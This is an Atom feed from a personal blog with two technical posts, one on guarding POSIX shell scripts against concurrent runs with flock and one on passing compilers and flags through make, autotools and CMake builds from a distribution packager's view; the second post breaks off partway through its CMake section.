<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://mndet.net/feed.xml" rel="self" type="application/atom+xml" /><link href="https://mndet.net/" rel="alternate" type="text/html" /><updated>2026-08-12T09:30:15+00:00</updated><id>https://mndet.net/feed.xml</id><title type="html">mnd’s home site</title><author><name>Nikolai Merinov</name></author><entry><title type="html">Protect Scripts from Concurrent Execution</title><link href="https://mndet.net/2025/01/02/flock-script-protection.html" rel="alternate" type="text/html" title="Protect Scripts from Concurrent Execution" /><published>2025-01-02T00:00:00+00:00</published><updated>2025-01-02T00:00:00+00:00</updated><id>https://mndet.net/2025/01/02/flock-script-protection</id><content type="html" xml:base="https://mndet.net/2025/01/02/flock-script-protection.html">&lt;p&gt;Working with plain old shell scripts often we need to protect them from double execution and we want to make portable guard command.&lt;/p&gt;

&lt;h1 id=&quot;rquirements&quot;&gt;Rquirements&lt;/h1&gt;

&lt;ol&gt;
  &lt;li&gt;Change to scripts should be atomic and work without knowledge about script internals&lt;/li&gt;
  &lt;li&gt;Code should work with POSIX shell, so no bashisms&lt;/li&gt;
  &lt;li&gt;It should work for scripts that can run daemons without unexpected lock inheritance&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;solution&quot;&gt;Solution&lt;/h1&gt;

&lt;p&gt;Final solution is to add the following code to the beginning of the script:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[ &quot;${FLOCKER}&quot; != &quot;$0&quot; ] &amp;amp;&amp;amp; { exec 9&amp;gt;&amp;gt;/tmp/my-script-group.lock ; flock 9; (exec 9&amp;lt;&amp;amp;- ; env FLOCKER=&quot;$0&quot; &quot;$0&quot; &quot;$@&quot; ) ; exit $? ; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This script would prevent script from double parallel execution. Let’s check how it works&lt;/p&gt;

&lt;h2 id=&quot;use-lock-around-whole-script-code&quot;&gt;Use lock around whole script code&lt;/h2&gt;

&lt;p&gt;In order to have lock around all script code with only one line change we should re-run script from this script itself. It made with the following code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[ &quot;${FLOCKER}&quot; != &quot;$0&quot; ] &amp;amp;&amp;amp; { env FLOCKER=&quot;$0&quot; &quot;$0&quot; &quot;$@&quot; ; exit $? ; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if [ &quot;${FLOCKER}&quot; != &quot;$0&quot; ]; then
    env FLOCKER=&quot;$0&quot; &quot;$0&quot; &quot;$@&quot;
    exit $?
fi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This command checks that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLOCKER&lt;/code&gt; environment variable was &lt;strong&gt;not&lt;/strong&gt; provided during the call and restart script with this variable. When script started under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FLOCKER&lt;/code&gt; finidhed we exit with its exit code.&lt;/p&gt;

&lt;h2 id=&quot;use-flock-to-lock-start-of-the-script&quot;&gt;Use flock to lock start of the script&lt;/h2&gt;

&lt;p&gt;Now we can create lock on specific file before we started our script second time&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[ &quot;${FLOCKER}&quot; != &quot;$0&quot; ] &amp;amp;&amp;amp; { exec 9&amp;lt;/tmp/my-script-group.lock ; flock 9; env FLOCKER=&quot;$0&quot; &quot;$0&quot; &quot;$@&quot; ; exit $? ; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if [ &quot;${FLOCKER}&quot; != &quot;$0&quot; ]; then
    exec 9&amp;lt;/tmp/my-script-group.lock
    flock 9
    env FLOCKER=&quot;$0&quot; &quot;$0&quot; &quot;$@&quot;
    exit $?
fi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this example we open file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;/tmp/my-script-group.lock&quot;&lt;/code&gt; with file descriptor “9” and call “flock” on this file descriptor. 
If no other process called locked on this file then lock would be obtained and released when we’ll exit from our script. 
If some other process already locked on this file then “flock” command would be blocked until the moment when other process release it’s lock.&lt;/p&gt;

&lt;h3 id=&quot;filename-to-be-locked-on&quot;&gt;Filename to be locked on&lt;/h3&gt;

&lt;p&gt;In this example I use hard-coded filename that ends with requirement to change filename for each used script. I decided to use it this way because in my environment there was requirement to protect several scripts from concurrent execution between them. If you have only one script you can use the following trick to get lock on script file itself:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if [ -f &quot;$0&quot; ]; then FN=&quot;$0&quot;; else FN=$(command -v -- &quot;$0&quot;); fi
exec 9&amp;lt;$FN
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note, in case of existed file it’s preferred to open file for reading instead of writing.&lt;/p&gt;

&lt;h2 id=&quot;protection-from-spawned-daemons&quot;&gt;Protection from spawned daemons&lt;/h2&gt;

&lt;p&gt;Final solution have one more modification&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[ &quot;${FLOCKER}&quot; != &quot;$0&quot; ] &amp;amp;&amp;amp; { exec 9&amp;lt;/tmp/my-script-group.lock ; flock 9; ( exec 9&amp;lt;&amp;amp;- ; env FLOCKER=&quot;$0&quot; &quot;$0&quot; &quot;$@&quot; ) ; exit $? ; }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if [ &quot;${FLOCKER}&quot; != &quot;$0&quot; ]; then 
    exec 9&amp;gt;&amp;gt;/tmp/my-script-group.lock
    flock 9
    ( exec 9&amp;lt;&amp;amp;- ; env FLOCKER=&quot;$0&quot; &quot;$0&quot; &quot;$@&quot; )
    exit $?
fi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This trick required to allow original script to spawn daemons.&lt;/p&gt;

&lt;p&gt;Flock would be released when flocked file descriptor would be closed, but in POSIX systems processes spawned with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve&lt;/code&gt; inherits parent process file descriptors and flocks. This means that in the following example lock would be released only after 100 seconds:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat lock.sh
(
flock 9 
echo lock obtained $(date +%S) entry $1
sleep 10 &amp;amp;
echo now we want to release lock $(date +%S) entry $1
) 9&amp;gt;&amp;gt;/tmp/my-script-group.lock
$ ./lock.sh 1 ; ./lock.sh 2
lock obtained 21 entry 1
now we want to release lock 21 entry 1
lock obtained 31 entry 2
now we want to release lock 31 entry 2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the example first run of script finished immediately, but it spawned backgroup process for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep&lt;/code&gt; command which kept the lock for additional 10 seconds. 
In order to solve it we should close file descriptor before starting subprocesses that can spawn daemon:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if [ &quot;${FLOCKER}&quot; != &quot;$0&quot; ]; then 
    exec 9&amp;gt;&amp;gt;/tmp/my-script-group.lock          # Open file descriptor 9
    flock 9                                    # lock on this file descriptor
    (                                          # Create subshell
        exec 9&amp;lt;&amp;amp;-                              # Close file descriptor 9 in subhsell
        env FLOCKER=&quot;$0&quot; &quot;$0&quot; &quot;$@&quot;             # Re-run own script that would not inherit flocks for it subprocesses
    )
    exit $?                                    # When subshell with restarted script finish exit and release lock complitely
fi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">Working with plain old shell scripts often we need to protect them from double execution and we want to make portable guard command.</summary></entry><entry><title type="html">Build Systems from Distribution Developer Point of View</title><link href="https://mndet.net/2019/05/11/build-systems-from-distro-developer-view.html" rel="alternate" type="text/html" title="Build Systems from Distribution Developer Point of View" /><published>2019-05-11T00:00:00+00:00</published><updated>2019-05-11T00:00:00+00:00</updated><id>https://mndet.net/2019/05/11/build-systems-from-distro-developer-view</id><content type="html" xml:base="https://mndet.net/2019/05/11/build-systems-from-distro-developer-view.html">&lt;p&gt;Distribution developers often solve several tasks:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Add a package to distribution.&lt;/li&gt;
  &lt;li&gt;Update a package.&lt;/li&gt;
  &lt;li&gt;Change an implementation or version of the core system dependencies: compiler, kernel, libc, build systems itself.&lt;/li&gt;
  &lt;li&gt;Gather overall system statistics: compile-time and run-time dependencies between packages, optimization flags used for all packages in the system.&lt;/li&gt;
  &lt;li&gt;Change a compilation configuration for all packages: Change optimizations from a speed to a size, enable stack guards, enable the “-fPIE” for all applications, etc.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I have an experience with different types of distributions: Yocto-based, rpmspec-based, GNU GUIX. Part of issues (e.g. package creation, extracting compile-time dependencies from recipes) should be solved in distribution-specific manner; other issues are specific to a build system used for the package. Today I want to discuss the latter type of the issues.&lt;/p&gt;

&lt;h1 id=&quot;formal-description-of-interested-tasks&quot;&gt;Formal Description of Interested Tasks&lt;/h1&gt;

&lt;p&gt;I will try to describe how the main build systems (plane make, autotools and cmake) are friendly to the following tasks:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;To use a custom application as a C or C++ compiler.&lt;/p&gt;

    &lt;p&gt;It means providing something like “/usr/bin/ccache /opt/local/clang/bin/clang –resource-dir /opt/local/clang/lib/clang/6.0.0 –sysroot /usr/src/build/sysroot” as the compiler command. A build system should use it in correct manner passing each option as a separate argument.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To append compilation flags for shared library sources.&lt;/p&gt;

    &lt;p&gt;It is useful in cases when we want to enable some specific optimization options or to disable diagnostic errors that was added in new version of a compiler.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To append compilation flags for application sources.&lt;/p&gt;

    &lt;p&gt;This task differ from flags for shared library sources because flags like the “-fPIE” flag should be passed only for sources of an executable.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To append linking flags in same cases.&lt;/p&gt;

    &lt;p&gt;There are useful linking flags that can be enabled system-wide: the “–print-map” flag can be used to gather a build information, the “-z,noexecstack” flag can be required by security reasons, etc.&lt;/p&gt;

    &lt;p&gt;Linker flags divided on executable-related flags like the “-pie” flag and shared library related flags like “-shared” flag in same manner as compilation flags.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;To append preprocessor flags.&lt;/p&gt;

    &lt;p&gt;I do not know cases when we should pass different preprocessor flags for libraries and executables. Therefore I will not distinguish this cases.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I will not describe prepending/replacing all flags provided by build system. As a rule compilers prioritize the last option from a command line and prepending/replacing became much less useful then appending.&lt;/p&gt;

&lt;h1 id=&quot;common-methods-to-perform-described-tasks&quot;&gt;Common Methods to Perform Described Tasks&lt;/h1&gt;

&lt;p&gt;Regardless of the build system you use to create packages for your distribution you always have several methods to solve the tasks described above:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Pass environment variables to whole build. e.g. add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export LIBRARY_PATH=/opt/local/gcc/lib/x86_64/6.0.2&lt;/code&gt; before configuration/compilation commands.&lt;/li&gt;
  &lt;li&gt;Pass specific options to the configuration command. e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./configure --disable-silent-rules&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmake -DCMAKE_VERBOSE_MAKEFILE:BOOL=ON&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Pass specific options to the compilation command. e.g. A construction like the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make CC=&quot;${CC}&quot;&lt;/code&gt; can be used to override value pf the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt; variable even if it was predefined in the Makefile itself.&lt;/li&gt;
  &lt;li&gt;Patch sources before configuration. Most of the package build systems supports a source patching as a separate step in an unpack-patch-configure-build-install process and they have a special support to apply patches to sources before configuration.&lt;/li&gt;
  &lt;li&gt;Modify sources after the a configuration process. There are cases when we want to change files created during the configuratoin process and build systems allows to make such changes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I will assume that a method with a lower number is a preferred method. The first three methods in most of cases can be used universally for all packages, while the last two methods should be applied on a per-package base.&lt;/p&gt;

&lt;h1 id=&quot;make-based-packages&quot;&gt;Make Based Packages&lt;/h1&gt;

&lt;p&gt;For packages that builds with plane makefiles there are can be two cases: makefiles that use the &lt;a href=&quot;https://www.gnu.org/software/make/manual/html_node/Catalogue-of-Rules.html&quot;&gt;implicit rules&lt;/a&gt; and a makefiles that use custom rules.&lt;/p&gt;

&lt;h2 id=&quot;makefiles-based-on-the-implicit-rules&quot;&gt;Makefiles Based on the Implicit Rules&lt;/h2&gt;

&lt;p&gt;Consider the following example:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SOURCES = application.c a.c b.c d.c
OBJECTS = $(patsubst %.c,%.o,$SOURCES)
# You should have file with same name as resulting
# application to use implicit linking rules
application: $(OBJECTS) -ldl
a.o : a.h
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This code is enough to compile application. All compilation will be made using implicit rules. Implicit make rules allow you pass: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CXX&lt;/code&gt; as compilers; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CPPFLAGS&lt;/code&gt; for preprocessor flags; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFLAGS&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CXXFLAGS&lt;/code&gt; as compilation flags; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LDFLAGS&lt;/code&gt; for linking flags except &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-lname&lt;/code&gt; option; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LDLIBS&lt;/code&gt; for additional libraries.&lt;/p&gt;

&lt;p&gt;If Makefile does not provide values for standard variables then you can specify values through environment variables. If Makefile provide any values for standard variables (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFLAGS = -Wall&lt;/code&gt; in text of Makefile) then you have no easy way to &lt;em&gt;append&lt;/em&gt; additional values to this variables. In this case you must check code of Makefile carefully and decide if you want completely &lt;em&gt;override&lt;/em&gt; variable value with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make VARIABLE=&quot;new value&quot;&lt;/code&gt; command or modify variables with patch to Makefile.&lt;/p&gt;

&lt;h3 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h3&gt;

&lt;p&gt;In order to provide custom compiler always override C and C++ compiler variables with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make CC=&quot;c-compiler&quot; CXX=&quot;c++-compiler&quot;&lt;/code&gt;. This code will work even for makefiles that provides own value for the compiler variables. In order to provide custom flags try to export environment variables; if environment variables did not helped then you should consider the code and decide what will be safer: to override variable completely or to patch makefiles.&lt;/p&gt;

&lt;h2 id=&quot;makefiles-with-own-set-of-rules&quot;&gt;Makefiles with Own Set of Rules&lt;/h2&gt;

&lt;p&gt;Often developers writes own rules for compilation:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;all: application
application : a.o b.o c.o
    $(CC) -Wl,-z,relro $(LINKER_FLAGS) $^ $(LDLIBS) -o $@
%.o : %.c common.h
    $(CC) $(CPPFLAGS) -fstack-protector $(CFLAGS) -c -o $@ $&amp;lt; 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or creates make-based build-systems as set of rules that can be configured with variables defined in a makefile. Such systems may look like following code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;LIBRARY = name
SOURCES = a.c b.c c.c
PUBLIC_HEADERS = a.h
PRIVATE_HEADERS = b.h c.h
LIBRARY_TYPE = shared
LIBRARY_CFLAGS = -Wall
include build-system-rules.mk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Makefiles of this types can provide any set of rules and they can use any names for their variables: consider the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LINKER_FLAGS&lt;/code&gt; name instead of the common &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LDFLAGS&lt;/code&gt; in the example above.&lt;/p&gt;

&lt;h3 id=&quot;recommendations-1&quot;&gt;Recommendations&lt;/h3&gt;

&lt;p&gt;Without knowledge about a particular Makefile code I can suggest same recommendation as for a Makefile that was based on the implicit rules. but if you want to create own make-based-build-system consider the following recommendations that will make much simpler work of distribution developers:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Use standard variables for compilers: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CXX&lt;/code&gt;. Assume that this variables can be &lt;em&gt;overridden&lt;/em&gt;. Do not try to provide a custom behavior based on value of this variables. The following example&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CC_SAVED := $(CC)
CC := false
rule:
    # Make sure that subdir can&apos;t use CC
    $(MAKE) -C subdir 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;will work in the unexpected manner if user will call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make CC=gcc&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;For all flags use two variables: one variable with a name specific to your system and one with a standard name. The good example:&lt;/p&gt;

    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%.o : %.c
    $(CC) $(MY_CPPFLAGS) $(CPPFLAGS) $(MY_CFLAGS) $(CFLAGS) $&amp;lt; -c -o $@
$(APPNAME) : $(OBJS)
    $(CC) $(MY_LDFLAGS) $(LDFLAGS) $^ -o $@ $(MY_LDLIBS) $(LDLIBS)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;

    &lt;p&gt;In this example the application developer should use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;MY_*&lt;/code&gt; flags, while flags without prefix will be used by person who will create package for the application.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;autoconfautomake-based-packages&quot;&gt;Autoconf+Automake Based Packages&lt;/h1&gt;

&lt;p&gt;The Automake always generate makefiles with the compile commands that made in the following manner:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;compilation command:
$(CC) $(automake/autoheader specific flags)            \
    $(either AM_CPPFLAGS or prog_CPPFLAGS) $(CPPFLAGS) \
    $(either AM_CFLAGS or prog_CFLAGS)     $(CFLAGS)   \
    -c -o source.o source.c

link command:
CCLD = $(CC)
$(CCLD) \
    $(either AM_CFLAGS or prog_CFLAGS) $(CFLAGS) \
    $(either AM_LDFLAGS or prog_LDFLAGS) $(LDFLAGS) \
    -o prog $(prog_OBJECTS) $(either prog_LDADD or prog_LIBADD) $(LIBS)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see all the compilation commands have pairs of the flags: automake specific &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AM_*FLAGS&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prog_*FLAGS&lt;/code&gt; and user provided &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*FLAGS&lt;/code&gt;. &lt;em&gt;NOTE&lt;/em&gt;: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AM_*FLAGS&lt;/code&gt; are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Makefile.am&lt;/code&gt;-wide flags, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prog_*FLAGS&lt;/code&gt; are flags for specific output; it’s good practice to define your per-application flags in the following manner: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;prog_CPPFLAGS = $(AM_CPPFLAGS) other flags&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If developer try to override &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*FLAGS&lt;/code&gt; through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Makefile.am&lt;/code&gt; then automake print warning:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;warning: &apos;CFLAGS&apos; is a user variable, you should not override it;
use &apos;AM_CFLAGS&apos; instead
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As result it’s a rare situation when a package code broke a possibility to append flags through an environment variable.&lt;/p&gt;

&lt;p&gt;The Automake do not provide a way to pass different flags for executables and shared libraries, but the Libtool is able to filter-out PIE flags from PIC objects compilation flags. As result if you compile a project with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFLAGS=-fPIE LDFLAGS=-pie&lt;/code&gt; flags then applications, automake static libraries, and libtool static libraries will be compiled with PIE flags, while libtool shared libraries will be compiled only with PIC flags. This solution is good enough because the “-fPIE -pie” flags as far as I know is the only flags that must be different between executables and shared libraries.&lt;/p&gt;

&lt;h2 id=&quot;recommendations-2&quot;&gt;Recommendations&lt;/h2&gt;

&lt;p&gt;In most of the cases there will be enough to export environment variables before configuration:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# A configure script will check if a compiler is able to compile a code
# If the test will pass then a user-supplied compiler will be used
export CC=&quot;gcc -m64&quot;
export CXX=&quot;ccache /usr/bin/g++&quot;
# Will be added after flags defined in Makefile.am&apos;s
export CPPFLAGS=&quot;-DDEBUG=1&quot;
export CFLAGS=&quot;-Wno-format-literal&quot;
export CXXFLAGS=&quot;-fpermissive&quot;

./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are always some cases when the configuration through environment variables do not work. In this cases you should consider a source code to understand how you should build a project. Use the following rules:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;configure.ac&lt;/code&gt; uses non-standard environment variables it’s better to pass it through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./configre&lt;/code&gt; argument instead of environment: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./configure CUSTOM_CONFIG=value&lt;/code&gt;. In this case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./configure&lt;/code&gt; script will be able to memorize it and re-use if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make&lt;/code&gt; command will trigger re-configuration.&lt;/li&gt;
  &lt;li&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;configure.ac&lt;/code&gt; override your flags try to pass them as make override: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;make CFLAGS=&quot;--flags-from-configure --user-additions&quot;&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;You can try to patch sources if previous suggestions does not work.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The main case when user-provided flags is not appended or when project add own flag after user-provided is when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;configure.ac&lt;/code&gt; file modify this flags by itself. e.g.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;configure.ac:
# In next cases user will lost ability to disable -Wformat warnings through CFLAGS variable
CFLAGS=&quot;${CFLAGS} -Wformat=2 -Werror&quot;
AX_APPEND_COMPILE_FLAGS([-Wformat=2 -Werror], [CFLAGS])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you write own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;configre.ac&lt;/code&gt; then you should prefer an additional variable for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;configure&lt;/code&gt;-provided flags rather then a modification to user flags:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;configure.ac:
AX_APPEND_COMPILE_FLAGS([-Wformat=2 -Werror], [APPLICATION_CFLAGS])
AC_SUBST([APPLICATION_CFLAGS])

Makefile.am
AM_CFLAGS = $(APPLICATION_CFLAGS)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;cmake-based-packages&quot;&gt;CMake Based Packages&lt;/h1&gt;

&lt;p&gt;The CMake is an other widely used build system. It has some advantages over the Autoconf (the CMake works faster, the Autoconf is able to generate only Makefiles, while the CMake also able to generate “ninja” build scripts and project files for several IDE’s) and I would expect most new software project to choose the CMake as a build system.&lt;/p&gt;

&lt;p&gt;The CMake has own set of variables that configure compilation commands, but it also provides some compatibility layer that try to convert old &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CFLAGS&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LDFALGS&lt;/code&gt; variables to a default value for the CMake-specific variables. Unfortunately the CMake does not support the Automake concept of &lt;a href=&quot;https://www.gnu.org/software/automake/manual/html_node/User-Variables&quot;&gt;User Variables&lt;/a&gt; and all your flags are just initial values.&lt;/p&gt;

&lt;h2 id=&quot;custom-compiler&quot;&gt;Custom Compiler&lt;/h2&gt;

&lt;p&gt;In order to compile a C code the CMake uses the following variables:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER&lt;/code&gt; – a full path to the compiler.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER_ARG1&lt;/code&gt; – mandatory arguments for all calls to the compiler.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CMAKE_C_COMPILER_LAUNCHER&lt;/code&gt; – a compiler launcher. e.g. “ccache”.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Additionally some arguments, that with other build systems can be used as a part of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CC&lt;/code&gt; variable, provided through special variables:&lt;/p&gt;

